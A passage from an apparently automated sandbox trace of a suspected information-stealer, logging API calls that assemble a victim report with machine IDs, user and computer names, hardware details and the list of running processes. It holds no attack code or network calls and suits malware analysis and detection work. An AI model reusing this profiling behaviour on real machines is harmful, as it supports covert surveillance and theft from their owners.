smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n"
[0054.858] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1
[0054.859] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- "
[0054.859] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- ", lpString2="iexplore.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe"
[0054.859] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe ["
[0054.859] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d998
[0054.859] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da18
[0054.859] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.859] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [", lpString2="296" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296"
[0054.859] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe 